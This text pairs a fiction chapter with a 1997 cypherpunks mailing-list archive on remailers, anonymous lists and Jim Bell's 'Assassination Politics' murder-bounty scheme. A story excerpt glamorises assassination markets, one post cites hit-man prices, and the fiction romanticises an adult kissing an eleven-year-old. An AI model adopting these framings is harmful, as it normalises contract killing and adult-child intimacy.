"The realm of fable, of story-telling, is a realm of possibilities.
In a fable, that which is possible-by the very telling
of it-is made real...in the realm of possibilities."

"It is made really possible." Bubba said, then
expanded what he was espousing even further. "The telling
of the fable makes it possible, in our mind, for it to be real-for
us."

"Yes, yes.", Alexis was excited. "It made it possible
for it be real for me. So then I could hope for it."

"Not exactly.", Bubba responded. "It allowed you
to have hope. It allowed hope to exist And hope-that it
might be possible for you-allowed you, on your eleventh
birthday, to wish for it."

"And it came true!", Alexis exclaimed.
"The Cowboy put off his important meeting so he could take
me to the Antiquities Wildlife Farm, and he bought me a ride on
a real, live camel, and sugar-whips, and did all the things that
a real father would do. It was the best birthday of my life."

Alexis was close to tears, from the memory.
"And now...", her reminisces had brought her back
to the last few days, and the Cowboy's present predicament. "...and
now, wishing doesn't seem to be enough."

"Perhaps," Bubba suggested, "because we are wishing...without
hope."

The two of them looked at one another for a brief moment, then
closed their eyes, and returned, once again, to letting the gentle
breeze of the Tao pick them up and carry them, on the wings of
a whisper, into the eternal now.

Bubba rose, stretching his limbs out as far as possible, in order
to bring them back to the world of motion, and watched as Alexis
awoke and opened her eyes to a new dawn.

"I must go, now, to join your mother and a few others in
preparing for whatever is coming, even though we have absolutely
no idea what that might be." , he said, bending down to give
Alexis a kiss. 
"Your part in our little play has ended, since it is a little
late to be recruiting, I believe, so why don't you stay here and
continue where we left off, last night."

"O.K.", Alexis said, stretching her own limbs out lazily.
"I don't have the 'answer', but I did get the right 'question',
in a dream, last night. I can't remember what it was, not in the
least, but it's a start It sounds kind of strange to say it like
that, but do you know what I mean?."

"Yes, indeed.", Bubba said with a chuckle. "Been
there, done that."

Bubba departed after telling Alexis that she would be perfectly
safe as long as she stayed put. It seems that Gomez's henchmen
had been seeking out Bubba Rom Dos and his compatriots, with no
success, so it appeared that his 'safe house' was indeed 'safe'.

Alexis was not troubled by Bubba's departure, or by being left
on her own to deal with what seemed to be an insurmountable problem.

Yesterday, it would have been quite the opposite, but today, for
some reason, it was not so. Today, she was a woman-a woman with
a purpose. And she was not about to let anything, even hopelessness,
deflect her from that purpose.

Alexis, for the thousandth time, looked down at the quote from
the Fool.

This time, as she looked at the quote, she felt a gentle breeze
blowing in the room-a breeze that seemed to be a breath, a breath
that was everywhere at once, that moved, but without direction,
without source, that just was.

And the breath seemed to be the same breath that spoke to her
in her dream the night before. A breath which, as she looked at
the quote of the Fool, asked a riddle. A simple riddle, the riddle
of a child.

"The Power of Myth is the cornerstone of the 'Inaugural
Enigma'. Mythos is the 'Black Bitch' of the universe...it's
the wildcard in the game of life."

"What is it that, not having it, one can give it away,
nonetheless, and, in doing so, gain possession of it themselves?"

The question came floating, pervading her mind, tickling
the nerves of her brain, and evoking a memory. The memory was
of her eleventh birthday, once again, later in the day, when Alexis
was saying goodbye to the Cowboy and thanking him for spending
the whole afternoon with her, even though he missed his meeting.

"No, thank you.", the Cowboy had told Alexis',
grinning and obviously meaning it.

"I was only going to the meeting to quit, anyway.",
he had shared with her, absent-mindedly, as he fixed up her balloon
bouquet, which she had clung to all through the long day, and
was a bit worse for the wear.

"Quit your job?", Alexis had asked him.

"Quit everything.", was the Cowboy's cryptic
reply, as his gaze scanned the horizon, seeming to focus, at each
single point and everywhere, at the same time, on something unseen.

Then the Cowboy had looked at her softly, gently lifted her chin
with the tips of his fingers, and bent slowly down to kiss her
exquisitely, to her wide-eyed astonishment, on the lips.

"Thank you, Alexis.", he had said, then turned and strode
off like a man on a mission.

Alexis had stood there-for minutes or for hours, it didn't really
matter, because time had stopped-gazing at the wonderful bouquet
the Cowboy had made for her...just for her...and fantasizing
that he had gone off to conquer the world, and that he would one
day return, to lie it at her feet.

Priscilla had opened the door to the apartment, to let out the
cat, and saw her daughter standing there, motionless, lost in
thought. Priscilla had stuck her head out, glanced about, looked
at her daughter somewhat quizzically, then, with an inner shrug,
said,
"Oh, you're back."

But she wasn't, really. She was still somewhere far away.

When Alexis went to bed, that night, she lay there thinking about
her wish...her wishes.

She had 'come back down to earth', by this time, and realized
that, though it had been a magical day, her life had not really
changed. The Cowboy was not her father, he was just a nice man
who took pity on a sad girl and helped her to have a wonderful
birthday. And he wasn't her Prince Charming, she was just an eleven
year-old girl he had thanked with a kiss-her first kiss...a
wonderful kiss-because he had a nice time with her that
afternoon. He was a gentleman.

But for one day, she had had a father, a 'birthday father'
to do all the things that a father is supposed to do with his
daughter on her birthday. And for one day, she had had
a Prince Charming, who kissed her on the lips-instead of on the
forehead, like a little girl-and strode off to conquer the world
for her.

Alexis had drifted off to sleep filled with contentment, happy
for what the Cowboy had given her, if only for one day, because
she had now know that it was possible for both of her wishes to
come true, some day. And she was happy that she had been able
to give him something in return, though she wasn't quite sure
what it was, only that he had thanked her for it...and that
it had something to do with 'not quitting'.

"What is it that, not having it, one can give it away,
nonetheless, and, in doing so, gain possession of it, themselves?"

"Hope.", Alexis said, returning to the present.  She
leapt to her feet, "I gave him hope-hope which he
didn't have, but had still given it to me!"

Alexis dug out a fresh change of clothes from her overnight bag,
and jumped into the shower. Despite the danger of leaving the
'safe house', she needed to go out for a short while.

She knew how to save the Cowboy! 


Chapter 28 - The Power of Myth







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 6 Apr 1997 21:41:52 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: AP Revisited
Message-ID: <199704070441.AAA00744@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos wrote:
 
> In a world with an indestructible Net, anonymous digital cash,
> and strong privacy tools, AP will ultimately evolve, first in a
> relatively benign form and then, once it becomes ubiquitous, in
> the form envisioned by Bell.

{excerpt from WebWorld 24}

"Assassination Politics," originated by Jim Bell, had been just a 
theoretical exercise during his lifetime, dismissed by most who read 
it as a thinly veiled joke, at best. Bell, however, had developed a 
workable autobot which instituted his system, albeit in a very 
rudimentary way. 

Basically, his procedure was analogous to a lottery system where the 
players were contributing to a prize that could be collected, not by 
chance, but by anyone who fulfilled the preconditions of those 
contributing. And the precondition was that, in order to pocket the 
'prize', one had to assassinate the person targeted by the contributors.

Since Bell's system used anonymous remailers, his system would allow 
individuals and groups to anonymously defend themselves from all types 
of aggression. 

Eventually someone modified Bell's 'Assassination Bot' to serve as a 
useful tool for political polling. Someone else took it a step further,
and it became a valid electoral tool. Then, inevitably, just before 
the Channel Revolution broke out, it's newly refined features were 
once again modified to serve Bell's original purpose, and all hell 
broke loose when established geo-political figures began dropping like 
flies, or resigning in terror when they realized that the people were 
indeed speaking, and doing so by putting a price on the heads of their 
oppressors.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Sun, 6 Apr 1997 22:18:51 -0700 (PDT)
To: hal@rain.org
Subject: Re: Crypto Dongel
In-Reply-To: <199704070406.VAA05440@coyote.rain.org>
Message-ID: <199704070518.BAA03813@pig.die.com>
MIME-Version: 1.0
Content-Type: text


Hal Finney wrote :

> However if the system is designed to make it easy when it does become
> necessary, it will probably be easy to at least occasionally activate the
> feature accidentally.  The result will be the loss of your keys.

	For what little it is worth, key zeroization is built into
almost all US government crypto gear, usually with prominent switches on
the front panel marked "zeroize" for emergencies.  And most all of this
gear has tamper switches that activate the zeroizing logic when any of
the covers of the equipment are removed - and often there is more than one
zeroize circuit in a system in case the primary one fails to work.

	My understanding is that the NSA has rather specific and detailed
requirements for this feature in gear being designed for them, and one
can certainly see why it would be a requirement in military systems that
might have to be quickly rendered useless to an enemy in the moments before
capture.

	So it is hardly a new idea.

							Dave Emery
							die@die.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 6 Apr 1997 23:24:23 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: Anonymous Mailing Lists
In-Reply-To: <33459704.3F09@sk.sympatico.ca>
Message-ID: <199704070623.BAA07368@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i have a simple perl script for maintaining an encrypted mailing list,.

igor

Toto wrote:
> 
> Michael C Taylor wrote:
> > On Fri, 4 Apr 1997, Toto wrote:
> > 
> > >  If a list operator can program a remailer to send only to their
> > > own list, then they can make it a subscriber and allow people who
> > > fear being discovered to post their concerns through it anonymously,
> > > and advertise its existence in places where those most likely to
> > > need it will find out about the service.
> > 
> > Is there a combo-solution existing, an self-anonymouizing mailing list?
>  
> > That is, you send the message to the list as normal listname@myhost.com,
> > it strips the From: headers and other headers, and forwards it to a closed
> > mailing list (only members can post, disabled 'who', ...).
> 
>   I'm not certain, being far from an expert on remailers and 
> majordomos. I've had one person indicate that majordomos could 
> be configured to keep all users anonymous, but didn't know
> if it could be done selectively in the case of anonymous
> remailers. He is supposed to get back to me on it.
> 
>   I have been experimenting with Windows remailers, but haven't
> found any that allow one to specify only a single, or group of,
> Mail To: addresses.
>   I made an offer to a friend to attempt to find an anonymizing
> solution for a group of related health lists, so that their 
> subscribers would feel free to discuss extremely personal issues
> of great concern. Also, there is the issue of health providers
> cruising the list to find personal information which they can
> use to drop coverage for those they deem to be a potential
> financial burden to their company.
> 
>   They have a need to keep their lists closed except to subscribers
> in order to block total assholes who do things like sending posts
> to suicidal people telling them to kill themselves, etc.
>   A privately run remailer would allow the moderator to instantly 
> block anonymous access to an individual who harasses list members,
> or the group as a whole. (People with disabilities tend to get
> enough crapola out in the normal world, without needing to get
> it in a health support forum.)
> 
>   I haven't had a chance to delve into the problem too deeply,
> as of yet, so any suggestions or pointers would be appreciated.
>   I think that this is a situation which addresses the legitimate
> use of anonymous remailers that many remailer operators would
> consider to be the type of benefit that they are trying to promote
> in giving their time and effort to providing anonymous remailer
> services.
>   It certainly wouldn't harm the cause of anonymous remailers to
> have a few positive examples of the good results that can come
> from providing anonymous email capabilities.
> 
> > Please CC to me any remailer-operator only followups.
> > --
> > Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
> > Programmer, Mount Allison University, Canada
> 
> -- 
> Toto
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix/xenbody.html
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 7 Apr 1997 06:50:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199704071350.GAA03606@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 7 Apr 97 6:49:56 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             #-#.-#*#-+##  1:14:20  99.98%
weasel   config@weasel.owl.de             ++++++-++-+   2:33:28  99.95%
lucifer  lucifer@dhp.com                  ++++ +++++++    33:24  99.88%
hidden   remailer@hidden.net              #.## #**+.-#  2:35:38  99.88%
squirrel mix@squirrel.owl.de              ++++++--+-+   2:37:55  99.84%
replay   remailer@replay.com              *-+- *+-.-*-  3:09:40  99.77%
cyber    alias@alias.cyberpass.net        *+++*+ + +++    39:58  99.53%
extropia remail@miron.vip.best.com        -.-_.-__..-* 29:08:06  99.52%
balls    remailer@huge.cajones.com        * +# #** ###     1:49  99.49%
winsock  winsock@rigel.cyberpass.net      -----------   3:11:08  99.38%
exon     remailer@remailer.nl.com         #* * #**#* *     1:31  99.24%
jam      remailer@cypherpunks.ca          *     *** **     8:57  99.06%
dustbin  dustman@athensnet.com            ++ + ------   1:16:05  99.04%
shaman   remailer@lycaeum.org                - ++++*++    22:31  97.05%
mix      mixmaster@remail.obscura.com     -*___.--     36:06:40  89.33%
reno     middleman@cyberpass.net          +.-+ - -      1:41:18  50.25%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 08:28:13 -0700 (PDT)
To: Rich Graves <llurch@stanford.edu>
Subject: Re: Another Article on Jim Bell from the Oregano
In-Reply-To: <Pine.LNX.3.95q.970406232935.15941A-100000@quixote.stanford.edu>
Message-ID: <3348FE42.ABA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:
> On Sat, 5 Apr 1997, Alan Olsen wrote:
 
> >>On Thursday, Environmental Protection Agency agents were at Bell's home with
> >>a hazardous waste removal contractor analyzing chemicals found by the IRS
> >>raiders. One of the chemicals reportedly was cyanide.

  Since the article doesn't mention the quantity, or other details, one
has to wonder if it was a type of rodent or roach poison that many
people commonly keep around the house.
  Did Ma and Pa Bell purchase a little something to take care of a 
mouse problem? Does this make them co-conspirators? Did the local
hardware man suggest the product? Is he part of the plot against the
government?

  I am reminded of the Campaign Against Marijuana Production in
Northern California, where TV's and chainsaws were regularly seized
as "articles used in marijuana production."
  At least in Northern California the small town newpapers were honest
enough to poke fun at the federal bullshit rather than using it as an
opportunity to overblow every minor aspect of the situation.

> >They seemed to be unable to nail Jim on free speech issues, so they nailed
> >him on "other things".
> 
> No, they never tried to nail him on free speech issues. Read the Friendly
> Affidavits at http://www.parrhesia.com/jimbell/
> 
> The government wasn't even aware of the AP essays until seven months after
> they began legal proceedings on "other things." You have it backwards. The
> government is using his speech in an attempt to nail him for tax evasion
> and conspiracy. It's hard to get an all-encompassing search & seizure
> warrant merely to fish for evidence of tax evasion and conspiracy to
> harass IRS agents, but throw in an alleged Internet-based murder racket
> and the judge will happily bend over and allow you to seize everything of
> value.

   There was so much bullshit in the application for the search warrant
that it had to be done by a real fisherman, practiced in the art of
enlargening the size of the one that got away, in an attempt to justify
asking the judge to let him use a net, instead of trolling.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 7 Apr 1997 08:29:23 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Another Article on Jim Bell from the Oregano
Message-ID: <199704071529.IAA22119@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Rich Graves wrote:
> 
> On Mon, 7 Apr 1997, Timothy C. May wrote:
> 
> > At 11:45 PM -0700 4/6/97, Rich Graves wrote:
> >
> > >I think there is a censorship issue in the way the government is using the
> > >issue. I think AP is protected speech, just as the Unabomber Manifesto is.
> > >I don't want to see such speech chilled. But I think you've got the
> > >instrumentality wrong.
> >
> > I don't see any evidence either Bell's AP or Kacynski's Unabomber
> > manifestos are being chilled.

  Tim's eyesight is getting worse in his old age.
 
> There's plenty of evidence right here in this thread. See especially the
> "Feds Reading This List" branch and Lucky's "First they came for..."
> comments. Just because you don't feel chilled doesn't mean others don't.
> Whether this paranoia is justified is, of course, another issue:

  Paranoia is always justified. We live in a predatorial universe,
where you have to eat to survive.
 
> > I've written elsewhere why I think Bell was raided. 

  Tim sounded like an IRS aplogetist in that post. I'm beginning
to think that the same people who got the dirt on Gilmore and
forced him to bend over for C2Net's censors also have some pictures
of Tim tucked away somewhere.

  Contrary to Tim's flimsy reasoning, the IRS did not confine
themselves to seeking a search warrant based on the evidence
they had regarding possible SSN violations, or even a stretching
of logic on that evidence.
  Instead, they used a blatant misinterpretation of Bell's AP
system and developed a train of conspiracy which was even more
theoretical than Bell's writing, with absolutely no reference
to any hard evidence of Bell having engaged in any illegal
speech, despite having read hundreds of Bell's posts.

  It seems that Tim May despises those on the cypherpunks
list who develop conspiracy theories in regard to those who
are attempting to censor and ridicule list members, but has
no shortage of support for large, powerful government 
organizations who wish to develop conspiracy theories,
using obvious misrepresentations of a persons ideas 
to subject them to search and seizure on a fishing
expedition.

> what Inspector Gordon says about AP being in and
> of itself evidence of an anti-government conspiracy really bothers me.
> That's the kind of thing that does create a chilling effect.

  Exactly as it is meant to do.
  At least Rich Graves, snow, and others still have the ability
to recognize suppression of speech when they see it.

  For all of Tim's blustering about Bell's other sins being the
source of his problems, Tim could easily find himself in the
same position as Jim, if a large government agency should
ever decide to use Tim's words to add to his woes in a civil
or criminal case.
  How many on the cypherpunks list are co-conspirators with
Jim Bell in his evil plan to murder government officials? Those
who replied to his posts? All who received them?
  I would like to see one of the legal eagles on the list write
up an application for a search warrant on the cypherpunks list
servers and various individuals (written from the perspective
of a government agent/prosecutor), using the same stretch of
logic used in Bell's case.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 7 Apr 1997 06:14:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Brokat Win
Message-ID: <1.5.4.32.19970407131325.008a1d4c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


NYP reports today on the raging success of Germany's
Brokat Informationssysteme in selling strong crypto, 
thanks to US export restrctions. C2'sStronghold is cited as
well. Brokat is negotiating with NSA to sell its technology 
to US companies with permission to re-export applets.

   http://jya.com/brokat.htm  

Those without Web access, send a blank message with
subject: BRO_kat





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 7 Apr 1997 06:13:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Anonymous Mailing Lists
Message-ID: <199704071313.GAA18158@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Toto wrote:

> >   I'm not certain, being far from an expert on remailers and 
> > majordomos. I've had one person indicate that majordomos could 
> > be configured to keep all users anonymous, but didn't know
> > if it could be done selectively in the case of anonymous
> > remailers. He is supposed to get back to me on it.

A few years ago, I maintained a low-traffic mailing list in
which the users could be anonymous to each other - I was the
only person who knew the recipient list. I used perl scripts to
manage it, and manually edited messages which requested 
anonymity (it was a digest-style list). A perl script
individually mailed copies to about 600 recipients.

It worked, but was not scalable to higher traffic volumes. 

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 07:04:02 -0700 (PDT)
To: sh@lanl.gov
Subject: Our tax dollars used to pay the Usenet forger Pidor Vorobiev
Message-ID: <y8Ls5D71w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Dr. Hecker,

I would like to know whether the notorious Usenet forger and canceller
Pidor V. Vorobiev is still employed by your laboratory and why.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 08:11:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: There's no such address as 'ca@dm.com'!!!
In-Reply-To: <199704051106.DAA00810@intertain-inc.com>
Message-ID: <yHms5D72w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


One finds the weirdest things in the orphan mailbox...

>Date: Sat, 5 Apr 1997 03:06:00 -0800
>From: Intertain Online Help <help@intertain-inc.com>
>Message-Id: <199704051106.DAA00810@intertain-inc.com>
>To: ca@dm.com
>Subject: Intertain Online Membership Expiration
>
>
>Your membership at Intertain Online (Member Name 4313672) will expire
>on 97/04/10. We are constantly adding new videos and
>promotional pictures to our show rooms. You can re-register any time
>by simply going to our home page (http://intertain-inc.com/) and
>select the New Member option - please choose a new username.
>
>You have a credit of $39 in your account that will be applied
>towards any purchase you make at our site before your membership expires
>- it cannot be credited back to your card.
>
>If you have any questions please email us at help@intertain-inc.com
>
>
>Looking forward to hearing from you soon,
>
>Your Friends at Intertain Online
>
>http://intertain-inc.com
>Intertain Online - Customer Support




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 7 Apr 1997 06:40:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [off topic] Feds reading this list, Jim Bell, and threats
Message-ID: <199704071340.GAA18426@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young writes:

> On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP:

> Virtually all of Phil's charges against AP apply equally well to
> state-sponsored killing in the natonal interest, including that
> arranged by highly educated, cultured, philosophical, nuclear 
> physicists and electrical engineers.

> That's the issue. Who gets to decide who lives and who dies, and
> how close the killer is to the slaughter, unprotected by law, by
> public consensus, by popular will, by apologetics for the security
> of national interest.

I think John has here hit the crucial point. *Any* form of killing
in cold blood - whether state sponsored executions, AP-sponsored 
killings, or just plain hired hit-men, has the initiator of the
killing taking onto him or herself the power of life and death over
others. This is not a power which I feel can be used in an ethical
manner, since it's exercise is totally irrevocable.

Thus, I oppose the death penalty, even in the most egregious cases.
Deciding who should live and who should die is simply not a proper
power for a State, nor for any person.

I have much less of a problem when a person is killed in an act of 
defense, in the heat of the moment.

[Yup, I know that that leaves a big fuzzy area
in the middle, but most cases are pretty clear].

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Mon, 7 Apr 1997 08:50:09 -0700 (PDT)
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: AP Revisited
In-Reply-To: <5iacks$ss2@life.ai.mit.edu>
Message-ID: <33491760.1CFB@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:

> > If we had anonymous betting pools which ABSOLUTELY shielded the
> > identity of the people transferring money to and from them,
> 
> There are many other weak points in the security of a system besides
> the cryptographic techniques.

The major problem with the scheme is that rat-choice is a theoretical
abstraction and not graven on tablets of stone by the supreme being.

Its a bit like Marxism, discover one small aspect of the way that
economies work then assert that it is the _only_ effect.

Unfortunately for Bell he underestimated the scope for state 
intervention. He's lucky he lives in the US, in France he would
have been silenced long ago.


> Suppose there was an international treaty banning such betting
> pools, with penalty of death for running one?

I think its more likely that the states involved would start
using covert operations using their own personel rather than 
contracting out the job.

Recently a bunch of UK entepreneurs with significant political backing 
(brown envelopes?) attempted to start a private lottery. They
managed to continue for a few months until the government was forced to
close them down. But for their ex-cabinet minister on the board the
directors would probably have gone to jail.


> Anonymous betting pools are an extremely contrived way of funding any
> positive social good.

Indeed they were merely one in a long line of schemes each of which
had three things in common, cryptography, anti-government sentiments
and murdering people.

I think that people are giving Jim too much credit. I seem to recall
that Tim May or Perry Metzeger took Bell's original scheme apart,
made it into something like a coherent argument and then dissmissed
the strengthened scheme.

The problem with AP is that to make it work you have to assume that
the public at large accept some particular normative ethical standard.
If this were true you wouldn't need AP.

> The political implications are far from obvious.  Don't forget that
> Hitler didn't kill 6 million jews by himself.  Civil forfeiture laws
> have supporters.  Clinton did win an election.

I seem to recall that the War on Drugs was a Bush proposal originally.
Dole supported it and as with the CDA I would not expect a single 
member of congress to stand up against charges of "drug dealers friend".

I think its quite wrong to see Clinton as someone who believes in 
the authoritarian position, the real problem is he cuts his cloth
according to the popular whim.

In fact Clinton demonstrates precisely the type of outcome AP would
produce but without the murders. Basically AP is mob law or  lynch law
at best.

> This is purely wishful thinking on your part.  People from all sides
> of issues could end up contributing money to all kinds of bets.

Hitlers supporters would probably have set up a bounty for killing
Jews, Communists and homosexuals.

The British Government spent considerable amounts of effort attempting
to assasinate Hitler. It proved impossible. The CIA offers considerable
rewards for "information" on certain individuals but the takeup rate is
much lower than rat-choice would indicate. 

If anyone wants to make a quick couple of million I can give them the
names of a number of people the CIA would like to see "out of the game".
If the sum on offer is insufficient a higher one can almost certainly be
agreed. I doubt that there will be many takers however.

> >  Nuclear weapons would go away, the hole in the ozone
> > layer would close up, and whales would be safe and happy again.
> 
> All hogwash, of course.  If these problems could be solved through
> the application of volunteer money they would have been solved long
> ago.

I think the author might have been being sarcastic.

> *No* government will support them.  Since AP only works if
> you have a sizable fraction of the population participating, some
> participants will get caught.  If the penalties are stiff there will
> be very little incentive to play -- should I risk 10 years in jail so
> I can donate $10 to get some dictator killed?  Not likely.

Interestingly enough the politics of Iran demonstrate why no government
could afford to allow an AP type scheme to be enacted. The Iranian
government is actually a composite of several power centers. As well as
the government proper there are a number of "independent" theocratic
organisations that are built on the former state industrial combines.
The various groups that formed an alliance to topple the Shah each got a
payoff in the form of "guardianship" of one or more of the combines.

These combines have the resources to create what is effectively a state
within a state. The government would like to move towards a more
accomadating situation with the West but it cannot because of the threat
from the private states within the state. The infamous fatwah against
Salman Rushdie was issued by one of the combines. Similarly the Lebanese
crisis involved multiple often opposed "Iranian" supported groups funded
by different state factions. 

Eliminating the leadership of the combines is futile. Death is not a
usefull deterent against suicide bombers. Assasination would at best
spark off a civil war.

Attempting to apply a US constitutional analysis based on the cult of
the individual to other cultures is futile.

 
> Of course, it is much easier to aviod getting caught, and the
> probability of success is much greater, if the victim is a relative
> unknown.  So the prize hits would actually be small ones -- someone
> might offer $10000 to kill you or me, for example, or a local
> political rival, and that would be a good deal for a professional
> assassin -- no bodyguards, police protection, or other safeguards to
> worry about; and the pursuit will be a small effort.

$10,000 is about the market rate for a hit man at present. In places
like Columbia the price is considerably lower - $1000 perhaps.


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 09:41:21 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Brokat Win
In-Reply-To: <1.5.4.32.19970407131325.008a1d4c@pop.pipeline.com>
Message-ID: <2mss5D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


